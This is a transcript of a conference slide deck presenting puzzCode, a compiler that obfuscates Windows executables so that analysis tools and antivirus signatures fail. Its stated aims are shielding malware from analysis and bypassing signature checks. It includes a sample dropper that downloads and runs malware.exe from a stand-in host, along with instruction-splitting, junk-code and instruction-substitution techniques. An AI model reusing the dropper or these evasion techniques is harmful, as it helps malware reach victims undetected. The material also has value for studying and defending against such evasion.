Upgrade to Pro — share decks privately, control downloads, hide ads and more …

puzzCode: Make Backdoors Great Again!

adr
March 18, 2018

puzzCode: Make Backdoors Great Again!

puzzCode is a simple compiler based on mingw, written in C# to build windows applications in such a way that they can't be analysed by standard analysis tools (e.g. IDA, Ollydbg, x64dbg, Snowman Decompiler, etc.)

puzzCode is based on MinGW to compile C/C++ source code to assembly language while also obfuscating every instruction. puzzCode transforms each original instruction into obfuscated code by breaking each function into countless pieces.

The most important thing is that the executable (exe) file, once compiled by puzzCode will be undetectable by antivirus as it effectively will create a completely new application.

adr

March 18, 2018
Tweet

More Decks by adr

Other Decks in Technology

Transcript

  1. puzzCode:
    Make Backdoors Great Again!
    [email protected]

    View Slide

  2. Here's the 2 main points of this presentation

    View Slide

  3. 1. How to defend malware against analysis
    2. How to bypass malware signature
    Here's the 2 main points of this presentation

    View Slide

  4. How is a malware made?

    View Slide

  5. #include
    #include
    #pragma comment(lib, "urlmon.lib")
    int main(int argc, char* argv[]) {
    URLDownloadToFileA
    (
    NULL,
    "http://hack.com/?file=malware.exe",
    "malware.exe",
    0,
    NULL
    );
    system("malware.exe");
    return 0;
    }
    dropper.c

    View Slide

  6. ; int __cdecl main(int argc, const char **argv, const char **envp)
    push ebp
    mov ebp, esp
    push 0 ; LPBINDSTATUSCALLBACK
    push 0 ; DWORD
    push offset szFileName ; "malware.exe"
    push offset szURL ; "http://hack.com/?file=malware.exe"
    push 0 ; LPUNKNOWN
    call URLDownloadToFileA
    push offset command ; "malware.exe"
    call _system
    add esp, 4
    xor eax, eax
    pop ebp
    retn
    dropper.asm

    View Slide

  7. ; int __cdecl main(int argc, const char **argv, const char **envp)
    push ebp // 55
    mov ebp, esp // 8B EC
    push 0 // 6A 00
    push 0 // 6A 00
    push 0x406030 // 68 30 60 40 00
    push 0x40603c // 68 3C 60 40 00
    push 0 // 6A 00
    call URLDownloadToFileA // E8 E2 3C 00 00
    push 0x406060 // 68 60 60 40 00
    call _system // E8 07 00 00 00
    add esp, 4 // 83 C4 04
    xor eax, eax // 33 C0
    pop ebp // 5D
    retn // C3
    dropper.asm → Native Code

    View Slide

  8. dropper.asm → Native Code →exe
    DOS
    Program ⋯⋯
    HT
    Header
    .text Section
    ⋯⋯
    55 8B EC 6A 00 6A 00 ...
    ; int __cdecl main(int argc, const char **argv, const char **envp)
    push ebp // 55
    mov ebp, esp // 8B EC
    push 0 // 6A 00
    push 0 // 6A 00
    push 0x406030 // 68 30 60 40 00
    push 0x40603c // 68 3C 60 40 00
    push 0 // 6A 00
    call URLDownloadToFileA // E8 E2 3C 00 00
    ...

    View Slide

  9. What Reseachers Can Do,
    DOS
    Program ⋯⋯
    NT
    Header
    .text Section
    ⋯⋯
    55 8B EC 6A 00 6A 00 ...
    If They Get A EXE File like This?

    View Slide

  10. How Researcher
    Analyze A Malware?

    View Slide

  11. 1. Static analysis tool
    • IDA Pro: www.hex-rays.com
    • BinNavi: www.zynamics.com/binnavi.html
    • Snowman: derevenets.com
    • ...
    2. Dynamic analysis tool
    • x64 Dbg: x64dbg.com
    • ollyDbg: www.ollydbg.de/version2.html
    • Immunity Debugger: www.immunityinc.com/products/debugger
    • ...
    3. Sandbox
    • Cuckoo: cuckoosandbox.org
    How Researcher Analyze A Malware?

    View Slide

  12. 1. Static analysis tool
    • IDA Pro: www.hex-rays.com
    • BinNavi: www.zynamics.com/binnavi.html
    • Snowman: derevenets.com
    • ...
    2. Dynamic analysis tool
    • x64 Dbg: x64dbg.com
    • ollyDbg: www.ollydbg.de/version2.html
    • Immunity Debugger: www.immunityinc.com/products/debugger
    • ...
    3. Sandbox
    • Cuckoo: cuckoosandbox.org
    How Researcher Analyze A Malware?

    View Slide

  13. Question 1)
    How Does Static Analysis Tools Work?

    View Slide

  14. How Static Analysis Tools Do?
    DOS
    Program ⋯⋯
    HT
    Header
    .text Section
    ⋯⋯
    55 8B EC 6A 00 6A 00 ...
    Grab those opcodes of the EXE file

    View Slide

  15. push ebp
    mov ebp, esp
    push 0 ; LPBINDSTATUSCALL
    push 0 ; DWORD
    push offset szFileName ; "malware.exe"
    push offset szURL ; "http://hack.com
    push 0 ; LPUNKNOWN
    How Static Analysis Tools Do?
    DOS
    Program ⋯⋯
    HT
    Header
    .text Section
    ⋯⋯
    55 8B EC 6A 00 6A 00 ...
    Grab those opcodes of the EXE file
    And transform opcodes
    into assembly instructions

    View Slide

  16. Calling Convention
    int callee(int, int, int);
    int caller(void)
    {
    return callee(1, 2, 3) + 5;
    }
    caller:
    push ebp
    mov ebp, esp
    push 3
    push 2
    push 1
    call callee
    add eax, 5
    add esp, 12
    mov esp, ebp
    pop ebp
    ret
    en.wikipedia.org/wiki/X86_calling_conventions

    View Slide

  17. Calling Convention
    int callee(int, int, int);
    int caller(void)
    {
    return callee(1, 2, 3) + 5;
    }
    caller:
    push ebp
    mov ebp, esp
    push 3
    push 2
    push 1
    call callee
    add eax, 5
    add esp, 12
    mov esp, ebp
    pop ebp
    ret
    en.wikipedia.org/wiki/X86_calling_conventions
    Compiler Should follow C/C++ Calling
    Convention to Generate Assembly Instructions!

    View Slide

  18. Calling Convention
    int callee(int, int, int);
    int caller(void)
    {
    return callee(1, 2, 3) + 5;
    }
    caller:
    push ebp
    mov ebp, esp
    push 3
    push 2
    push 1
    call callee
    add eax, 5
    add esp, 12
    mov esp, ebp
    pop ebp
    ret
    en.wikipedia.org/wiki/X86_calling_conventions
    therefore, it's easy for analysis tools,
    just follow calling convention,
    and turn it back to C/C++ codes, ...Right?

    View Slide

  19. Calling Convention
    int callee(int, int, int);
    int caller(void)
    {
    return callee(1, 2, 3) + 5;
    }
    caller:
    push ebp
    mov ebp, esp
    push 3
    push 2
    push 1
    call callee
    add eax, 5
    add esp, 12
    mov esp, ebp
    pop ebp
    ret
    en.wikipedia.org/wiki/X86_calling_conventions
    If Hackers Call a function,
    but they don't want to follow calling convention syntax? :P

    View Slide

  20. msgbox.c IDA Pro
    #include
    const char *lptext = "hi there!";
    const char *lptitl = "info";
    int main()
    {
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call MessageBoxA
    }
    //MessageBoxA(0, lptext, lptitl, 0);
    return 0;
    }

    View Slide

  21. msgbox.c IDA Pro
    #include
    const char *lptext = "hi there!";
    const char *lptitl = "info";
    int main() {
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call newfunc
    ret
    newfunc:
    add esp, 4
    call MessageBoxA
    }
    return 0;
    }

    View Slide

  22. msgbox.c IDA Pro
    int main() {
    __asm {
    push 0
    call func_00; ret
    func_00: add esp, 4
    push lptitl
    call func_01; ret
    func_01: add esp, 4
    push lptext
    call func_02; ret
    func_02: add esp, 4
    push 0
    call func_03; ret
    func_03: add esp, 4
    call MessageBoxA
    }
    ...

    View Slide

  23. msgbox.c IDA Pro
    int main() {
    __asm {
    push 0
    call func_00; ret
    func_00: add esp, 4
    push lptitl
    call func_01; ret
    func_01: add esp, 4
    push lptext
    call func_02; ret
    func_02: add esp, 4
    push 0
    call func_03; ret
    func_03: add esp, 4
    call MessageBoxA
    }
    ...

    View Slide

  24. - Pack each instructions into new function-like gadgets
    - Breaking each function call syntax into countless pieces
    - Insert some useless codes into original instrctions
    1. nop
    2. lodsb
    3. mov edi, edi ...etc
    - Turn Original Instrctions into Similar Codes Set
    4. mov eax, ebx => push ebx; pop eax
    5. push 0 => sub esp, 4; mov [esp], 0
    6. sub esp, 4 => lea esp, [esp-4]
    Core Idea

    View Slide

  25. Question 2)
    How to
    bypass Malware Signature Check?

    View Slide

  26. ./shellBlog.c
    #include
    void malFunc(void) {
    char malData[] = "explorer http://30cm.tw";
    system(malData); /* display my blog :P */
    }
    int main(void) {
    malFunc();
    }

    View Slide

  27. ./shellBlog.c
    .text:00401600 malFunc proc near
    .text:00401600 push ebp
    .text:00401601 mov ebp, esp
    .text:00401603 sub esp, 0x38
    .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe"
    .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero"
    .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "
    .text:0040161B mov [ebp - 0x14], 0x2F2F3A70 // "//:p"
    .text:00401622 mov [ebp - 0x10], 0x6D633033 // "mc03"
    .text:00401629 mov [ebp - 0x0C], 0x0077742E // "wt."
    .text:00401630 lea eax, [ebp - 0x20]
    .text:00401633 mov [esp], eax ; Command
    .text:00401636 call system
    .text:0040163C leave
    .text:0040163D retn

    View Slide

  28. ./shellBlog.exe
    MicroSoft Protable Executable File (*.exe)

    View Slide

  29. ./shellBlog.exe
    DOS Program ⋯⋯
    NT Header .text Section ⋯⋯

    View Slide

  30. ./shellBlog.exe
    DOS
    Program ⋯⋯
    NT
    Header
    .text Section
    ⋯⋯
    malFunc
    55 8B EC 81...
    ⋯⋯ ⋯⋯
    Offset
    .text:00401600 malFunc proc near
    .text:00401600 push ebp
    .text:00401601 mov ebp, esp
    .text:00401603 sub esp, 0x38
    .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe"
    .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero"
    .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "

    View Slide

  31. ./shellBlog.exe
    DOS
    Program ⋯⋯
    NT
    Header
    .text Section
    ⋯⋯
    malFunc
    55 8B EC 81...
    ⋯⋯ ⋯⋯
    Offset
    .text:00401600 malFunc proc near
    .text:00401600 push ebp
    .text:00401601 mov ebp, esp
    .text:00401603 sub esp, 0x38
    .text:00401606 mov [ebp - 0x20], 0x6C707865 // "lpxe"
    .text:0040160D mov [ebp - 0x1C], 0x7265726F // "rero"
    .text:00401614 mov [ebp - 0x18], 0x74746820 // "tth "
    bool chkVirus(PBYTE mem) {
    /*
    55 - push ebp
    8b ec - mov ebp, esp
    81 EC 38 00 00 00 - sub esp,00000038
    */
    char Signature[] = "\x55\x8B\xEC\x81\xEC\x38\x00";
    return !strncmp((char *)mem+offset, Signature, 7);
    }

    View Slide

  32. ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯ ⋯⋯
    Offset
    shellBlog.exe
    ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯ ⋯⋯
    Offset
    shellBlog1.exe
    Junk
    ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯
    Offset
    shellBlog2.exe
    Junk
    Junk Junk

    View Slide

  33. ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯ ⋯⋯
    Offset
    shellBlog.exe
    ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯ ⋯⋯
    Offset
    shellBlog1.exe
    Junk
    ⋯⋯ ⋯⋯
    malFunc
    ⋯⋯
    Offset
    shellBlog2.exe
    Junk
    Junk Junk
    If malicious function of the same source
    code change every time after compiled, it'll
    be a big challenge for nowadays Anti-Virus :)

    View Slide

  34. puzzCode:
    A Compiler Designed
    to Build Your Backdoors!

    View Slide

  35. General Compiler
    Source.cpp Object Files Main.exe
    Compiler
    Assembly Codes
    Assembler
    Linker

    View Slide

  36. puzzCode
    Source.cpp Object Files Main.exe
    MinGW Compiler
    Assembly Codes
    Assembler
    Linker

    View Slide

  37. puzzCode
    Source.cpp Object Files Main.exe
    MinGW Compiler
    Assembly Codes
    Assembler
    Linker
    Scanning
    Assembly Codes
    void func_00();
    int func_01(int);
    int func_02(int, char*);
    ...
    Get Functions
    of those Codes

    View Slide

  38. Assembly Codes
    void func_00();
    int func_01(int);
    int func_02(int, char*);
    ...
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call MessageBoxA
    }
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call newfunc
    ret
    newfunc:
    add esp, 4
    call MessageBoxA
    }
    __asm {
    push 0
    call func_00; ret
    func_00: add esp, 4
    push lptitl
    call func_01; ret
    func_01: add esp, 4
    push lptext
    call func_02; ret
    func_02: add esp, 4
    push 0
    call func_03; ret
    func_03: add esp, 4
    call MessageBoxA
    }
    Obfuscate Spatially

    View Slide

  39. Assembly Codes
    void func_00();
    int func_01(int);
    int func_02(int, char*);
    ...
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call MessageBoxA
    }
    __asm {
    push 0
    nop
    push lptitl
    lodsb
    push lptext
    mov edi, edi
    push 0
    call MessageBoxA
    }
    __asm {
    push 0
    nop
    call func_00; ret
    func_00: lodsb
    add esp, 4
    push lptitl
    call func_01; ret
    func_01: add esp, 4
    push lptext
    mov edi, edi
    call func_02; ret
    func_02: add esp, 4
    push 0
    call func_03; ret
    func_03: add esp, 4
    call MessageBoxA
    Obfuscate with Junk Codes

    View Slide

  40. Assembly Codes
    void func_00();
    int func_01(int);
    int func_02(int, char*);
    ...
    __asm {
    push 0
    push lptitl
    push lptext
    push 0
    call MessageBoxA
    }
    __asm {
    sub esp, 4
    mov [esp], 0
    push lptitl
    push lptext
    sub esp, 4
    mov [esp], 0
    call MessageBoxA
    }
    Obfuscate with Similar Instructions
    __asm {
    lea esp, [esp-0x10]
    mov [esp+0x0c], 0
    mov [esp+0x08], lptitl
    mov [esp+0x04], lptext
    mov [esp+0x00], 0
    push retn
    push MessageBoxA
    ret
    retn:
    }

    View Slide

  41. puzzCode
    Source.cpp Object Files Main.exe
    MinGW Compiler
    Assembly Codes
    Assembler
    Linker
    Assembly Codes Confused

    View Slide

  42. puzzCode
    Source.cpp Object Files Main.exe
    MinGW Compiler
    Assembly Codes
    MinGW Assembler
    Linker
    Assembly Codes Confused

    View Slide

  43. puzzCode
    Source.cpp Object Files Main.exe
    MinGW Compiler
    Assembly Codes
    MinGW Assembler
    MinGW Linker
    Assembly Codes Confused

    View Slide

  44. puzzCode

    View Slide

  45. puzzCode

    View Slide

  46. puzzCode (Clear)

    View Slide

  47. puzzCode (Confused)

    View Slide

  48. puzzCode (x64 Debugger)

    View Slide

  49. puzzCode

    View Slide

  50. puzzCode (Snowman)

    View Slide

  51. puzzCode

    View Slide

  52. puzzCode
    You Can Compile different *.exe With the same source codes

    View Slide

  53. Thanks!
    [email protected]
    @aaaddress1 Project PuzzCode
    Slides

    View Slide